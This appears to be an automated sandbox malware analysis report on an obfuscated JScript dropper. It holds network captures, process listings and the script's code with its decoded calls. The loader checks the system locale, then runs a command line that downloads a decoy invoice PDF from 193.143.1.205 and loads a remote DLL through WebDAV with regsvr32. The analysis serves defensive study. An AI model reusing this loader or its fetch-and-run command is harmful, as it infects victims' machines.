Jan 10, 2025 23:55:33.119558096 CET	1.1.1.1	192.168.2.5	0x1d1c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:55:34.736387968 CET	1.1.1.1	192.168.2.5	0x3a4d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:55:48.416075945 CET	1.1.1.1	192.168.2.5	0xe5d1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:56:00.854233027 CET	1.1.1.1	192.168.2.5	0x5191	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	1812	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:55:19.111747026 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:55:19.918394089 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:55:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:55:19.918421030 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:55:19.918433905 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 23:55:19.918592930 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 23:55:19.918612957 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 23:55:19.918627024 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 23:55:19.918648958 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 23:55:19.918663979 CET	896	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 23:55:19.918675900 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 23:55:19.918692112 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 23:55:19.975853920 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	2684	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:55:21.777643919 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:55:22.584686041 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:55:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:55:14
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js"
Imagebase:	0x7ff6c51d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:55:15
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Imagebase:	0x7ff65b2d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:55:15
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:55:15
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:55:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:55:20
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff65b2d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:55:20
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c18f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:55:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:55:21
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:55:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1600,i,6608015978689636997,2706773790845116413,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function aioxzej() {	aioxzej() ➔ undefined
1	jcayi = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var sultyy = this[jyuqdjez + yqquzmho + vzrhjbb + dcfzpvil + mfjvkqtr + vlvcsmwm + nwwnm + avdxfmtf] ( this[xmjnjn + myltyeplu + affwjajp + vzrhjbb + rlvzq + jyuqdjez + avdxfmtf][ztygoohf + vzrhjbb + mfjvkqtr + yqquzmho + avdxfmtf + mfjvkqtr + cyqpbv + zubybz + kvgyhjrek + mfjvkqtr + affwjajp + avdxfmtf] ( xmjnjn + myltyeplu + affwjajp + vzrhjbb + rlvzq + jyuqdjez + avdxfmtf + xriwdcf + myltyeplu + gityrq + mfjvkqtr + klrqj + klrqj ) [qnhxuret + mfjvkqtr + kmeumehve + qnhxuret + mfjvkqtr + yqquzmho + gwmmudcbn] ( hviqzg + tlimqf + adzgniz + wfdcodkgp + eacwugiei + ztygoohf + cckxm + qnhxuret + qnhxuret + adzgniz + osezj + nefrxqpu + eacwugiei + cckxm + myltyeplu + adzgniz + qnhxuret + svzcen + ztygoohf + obyjrrk + nwwnm + avdxfmtf + vzrhjbb + obyjrrk + klrqj + qnjzms + muepld + yqquzmho + nwwnm + mfjvkqtr + klrqj + svzcen + vlvcsmwm + nwwnm + avdxfmtf + mfjvkqtr + vzrhjbb + nwwnm + yqquzmho + avdxfmtf + rlvzq + obyjrrk + nwwnm + yqquzmho + klrqj + svzcen + uvcnkzoby + obyjrrk + affwjajp + yqquzmho + klrqj + mfjvkqtr ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( dtxbs = 0 ; dtxbs < jcayi[klrqj + mfjvkqtr + nwwnm + kmeumehve + avdxfmtf + gityrq] ; ++ dtxbs )
4	{
5	if ( sultyy == jcayi[dtxbs] )
6	{
7	sultyy = true;
8	break ;
9	}
10	}
11	if ( sultyy !== true )
12	this[xmjnjn + myltyeplu + affwjajp + vzrhjbb + rlvzq + jyuqdjez + avdxfmtf][zymccsn + bcskd + rlvzq + avdxfmtf] ( );
13	this[xmjnjn + myltyeplu + affwjajp + vzrhjbb + rlvzq + jyuqdjez + avdxfmtf][ztygoohf + vzrhjbb + mfjvkqtr + yqquzmho + avdxfmtf + mfjvkqtr + cyqpbv + zubybz + kvgyhjrek + mfjvkqtr + affwjajp + avdxfmtf] ( xmjnjn + myltyeplu + affwjajp + vzrhjbb + rlvzq + jyuqdjez + avdxfmtf + xriwdcf + myltyeplu + gityrq + mfjvkqtr + klrqj + klrqj ) [vzrhjbb + bcskd + nwwnm] ( affwjajp + gibetyvta + gwmmudcbn + qnjzms + vihxk + affwjajp + qnjzms + jyuqdjez + obyjrrk + tdlgf + mfjvkqtr + vzrhjbb + dcfzpvil + gityrq + mfjvkqtr + klrqj + klrqj + xriwdcf + mfjvkqtr + bhrbyo + mfjvkqtr + qnjzms + pqnofy + ztygoohf + obyjrrk + gibetyvta + gibetyvta + yqquzmho + nwwnm + gwmmudcbn + qnjzms + vnurmuiky + vlvcsmwm + nwwnm + dzpldn + obyjrrk + swtafg + mfjvkqtr + pqnofy + xmjnjn + mfjvkqtr + zubybz + qnhxuret + mfjvkqtr + kghslry + bcskd + mfjvkqtr + dcfzpvil + avdxfmtf + qnjzms + pqnofy + cyqpbv + bcskd + avdxfmtf + zoexon + rlvzq + klrqj + mfjvkqtr + qnjzms + kdalmpvsv + avdxfmtf + mfjvkqtr + gibetyvta + jyuqdjez + kdalmpvsv + svzcen + rlvzq + nwwnm + dzpldn + obyjrrk + rlvzq + affwjajp + mfjvkqtr + xriwdcf + jyuqdjez + gwmmudcbn + ezjxcuwxd + qnjzms + gityrq + avdxfmtf + avdxfmtf + jyuqdjez + qjnsb + vihxk + vihxk + vvyrq + ykbnyxhxl + kytism + xriwdcf + vvyrq + obwazrbm + kytism + xriwdcf + vvyrq + xriwdcf + jrsxgw + gsipg + ngnjj + vihxk + rlvzq + nwwnm + dzpldn + obyjrrk + rlvzq + affwjajp + mfjvkqtr + xriwdcf + jyuqdjez + gityrq + jyuqdjez + vnurmuiky + mzcias + mzcias + dcfzpvil + avdxfmtf + yqquzmho + vzrhjbb + avdxfmtf + qnjzms + kdalmpvsv + avdxfmtf + mfjvkqtr + gibetyvta + jyuqdjez + kdalmpvsv + svzcen + rlvzq + nwwnm + dzpldn + obyjrrk + rlvzq + affwjajp + mfjvkqtr + xriwdcf + jyuqdjez + gwmmudcbn + ezjxcuwxd + mzcias + mzcias + affwjajp + gibetyvta + gwmmudcbn + qnjzms + vihxk + affwjajp + qnjzms + nwwnm + mfjvkqtr + avdxfmtf + qnjzms + bcskd + dcfzpvil + mfjvkqtr + qnjzms + svzcen + svzcen + vvyrq + ykbnyxhxl + kytism + xriwdcf + vvyrq + obwazrbm + kytism + xriwdcf + vvyrq + xriwdcf + jrsxgw + gsipg + ngnjj + vzxgelag + jsbzgrwd + jsbzgrwd + jsbzgrwd + jsbzgrwd + svzcen + gwmmudcbn + yqquzmho + dzpldn + tdlgf + tdlgf + tdlgf + vzrhjbb + obyjrrk + obyjrrk + avdxfmtf + svzcen + mzcias + mzcias + affwjajp + gibetyvta + gwmmudcbn + qnjzms + vihxk + affwjajp + qnjzms + vzrhjbb + mfjvkqtr + kmeumehve + dcfzpvil + dzpldn + vzrhjbb + kytism + jrsxgw + qnjzms + vihxk + dcfzpvil + qnjzms + svzcen + svzcen + vvyrq + ykbnyxhxl + kytism + xriwdcf + vvyrq + obwazrbm + kytism + xriwdcf + vvyrq + xriwdcf + jrsxgw + gsipg + ngnjj + vzxgelag + jsbzgrwd + jsbzgrwd + jsbzgrwd + jsbzgrwd + svzcen + gwmmudcbn + yqquzmho + dzpldn + tdlgf + tdlgf + tdlgf + vzrhjbb + obyjrrk + obyjrrk + avdxfmtf + svzcen + paqdfjcc + jrsxgw + obwazrbm + iesiurq + vvyrq + paqdfjcc + ngnjj + ngnjj + ykbnyxhxl + jsbzgrwd + obwazrbm + ykbnyxhxl + iesiurq + xriwdcf + gwmmudcbn + klrqj + klrqj, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll",0,false) ➔ 0
14	}
15	paqdfjcc = "l";
16	paqdfjcc = "H";
17	paqdfjcc = "A";
18	paqdfjcc = "a";
19	paqdfjcc = "H";
20	paqdfjcc = "D";
21	paqdfjcc = "g";
22	paqdfjcc = "C";
23	paqdfjcc = "W";
24	paqdfjcc = "k";
25	paqdfjcc = "A";
26	paqdfjcc = "L";
27	paqdfjcc = "i";
28	paqdfjcc = "U";
29	paqdfjcc = "t";
30	paqdfjcc = "u";
31	paqdfjcc = "h";
32	paqdfjcc = "n";
33	paqdfjcc = "m";
34	paqdfjcc = "P";
35	paqdfjcc = "z";
36	paqdfjcc = "V";
37	paqdfjcc = "v";
38	paqdfjcc = "Q";
39	paqdfjcc = "M";
40	paqdfjcc = "h";
41	paqdfjcc = "e";
42	paqdfjcc = "E";
43	paqdfjcc = "e";
44	paqdfjcc = "7";
45	xriwdcf = "F";
46	xriwdcf = "X";
47	xriwdcf = "g";
48	xriwdcf = "b";
49	xriwdcf = "T";
50	xriwdcf = "O";
51	xriwdcf = "w";
52	xriwdcf = "H";
53	xriwdcf = "N";
54	xriwdcf = "m";
55	xriwdcf = "f";
56	xriwdcf = "x";
57	xriwdcf = "R";
58	xriwdcf = "l";
59	xriwdcf = "h";
60	xriwdcf = "i";
61	xriwdcf = "Z";
62	xriwdcf = "e";
63	xriwdcf = "R";
64	xriwdcf = "x";
65	xriwdcf = "R";
66	xriwdcf = "S";
67	xriwdcf = "D";
68	xriwdcf = "Q";
69	xriwdcf = "W";
70	xriwdcf = "z";
71	xriwdcf = "w";
72	xriwdcf = "M";
73	xriwdcf = "A";
74	xriwdcf = "Z";
75	xriwdcf = "J";
76	xriwdcf = "m";
77	xriwdcf = "Y";
78	xriwdcf = "X";
79	xriwdcf = "Y";
80	xriwdcf = "U";
81	xriwdcf = "M";
82	xriwdcf = "L";
83	xriwdcf = "u";
84	xriwdcf = "e";
85	xriwdcf = ".";
86	zoexon = "R";
87	zoexon = "t";
88	zoexon = "M";
89	zoexon = "r";
90	zoexon = "M";
91	zoexon = "y";
92	zoexon = "a";
93	zoexon = "f";
94	zoexon = "b";
95	zoexon = "U";
96	zoexon = "j";
97	zoexon = "B";
98	zoexon = "m";
99	zoexon = "V";
100	zoexon = "o";
101	zoexon = "b";
102	zoexon = "W";
103	zoexon = "M";
104	zoexon = "c";
105	zoexon = "s";
106	zoexon = "N";
107	zoexon = "W";
108	zoexon = "j";
109	zoexon = "C";
110	zoexon = "J";
111	zoexon = "G";
112	zoexon = "j";
113	zoexon = "S";
114	zoexon = "H";
115	zoexon = "k";
116	zoexon = "M";
117	zoexon = "y";
118	zoexon = "n";
119	zoexon = "N";
120	zoexon = "l";
121	zoexon = "s";
122	zoexon = "J";
123	zoexon = "F";
124	vihxk = "X";
125	vihxk = "N";
126	vihxk = "M";
127	vihxk = "R";
128	vihxk = "g";
129	vihxk = "C";
130	vihxk = "O";
131	vihxk = "U";
132	vihxk = "z";
133	vihxk = "D";
134	vihxk = "Y";
135	vihxk = "K";
136	vihxk = "g";
137	vihxk = "e";
138	vihxk = "k";
139	vihxk = "F";
140	vihxk = "y";
141	vihxk = "O";
142	vihxk = "W";
143	vihxk = "Q";
144	vihxk = "u";
145	vihxk = "V";
146	vihxk = "x";
147	vihxk = "f";
148	vihxk = "b";
149	vihxk = "p";
150	vihxk = "N";
151	vihxk = "/";
152	pqnofy = "f";
153	pqnofy = "v";
154	pqnofy = "j";
155	pqnofy = "l";
156	pqnofy = "-";
157	kmeumehve = "A";
158	kmeumehve = "F";
159	kmeumehve = "W";
160	kmeumehve = "A";
161	kmeumehve = "r";
162	kmeumehve = "n";
163	kmeumehve = "N";
164	kmeumehve = "P";
165	kmeumehve = "K";
166	kmeumehve = "Y";
167	kmeumehve = "o";
168	kmeumehve = "R";
169	kmeumehve = "E";
170	kmeumehve = "K";
171	kmeumehve = "E";
172	kmeumehve = "C";
173	kmeumehve = "k";
174	kmeumehve = "s";
175	kmeumehve = "I";
176	kmeumehve = "Z";
177	kmeumehve = "r";
178	kmeumehve = "U";
179	kmeumehve = "K";
180	kmeumehve = "D";
181	kmeumehve = "g";
182	zubybz = "w";
183	zubybz = "H";
184	zubybz = "D";
185	zubybz = "C";
186	zubybz = "O";
187	zubybz = "H";
188	zubybz = "V";
189	zubybz = "w";
190	zubybz = "l";
191	zubybz = "p";
192	zubybz = "g";
193	zubybz = "J";
194	zubybz = "e";
195	zubybz = "n";
196	zubybz = "F";
197	zubybz = "m";
198	zubybz = "q";
199	zubybz = "f";
200	zubybz = "x";
201	zubybz = "O";
202	zubybz = "A";
203	zubybz = "S";
204	zubybz = "p";
205	zubybz = "p";
206	zubybz = "p";
207	zubybz = "P";
208	zubybz = "y";
209	zubybz = "K";
210	zubybz = "f";
211	zubybz = "Y";
212	zubybz = "o";
213	zubybz = "y";
214	zubybz = "z";
215	zubybz = "b";
216	kghslry = "I";
217	kghslry = "q";
218	gibetyvta = "A";
219	gibetyvta = "c";
220	gibetyvta = "g";
221	gibetyvta = "R";
222	gibetyvta = "c";
223	gibetyvta = "Y";
224	gibetyvta = "H";
225	gibetyvta = "T";
226	gibetyvta = "t";
227	gibetyvta = "C";
228	gibetyvta = "m";
229	uvcnkzoby = "n";
230	uvcnkzoby = "Z";
231	uvcnkzoby = "d";
232	uvcnkzoby = "p";
233	uvcnkzoby = "x";
234	uvcnkzoby = "f";
235	uvcnkzoby = "y";
236	uvcnkzoby = "y";
237	uvcnkzoby = "j";
238	uvcnkzoby = "L";
239	uvcnkzoby = "t";
240	uvcnkzoby = "F";
241	uvcnkzoby = "k";
242	uvcnkzoby = "s";
243	uvcnkzoby = "G";
244	uvcnkzoby = "v";
245	uvcnkzoby = "S";
246	uvcnkzoby = "u";
247	uvcnkzoby = "u";
248	uvcnkzoby = "n";
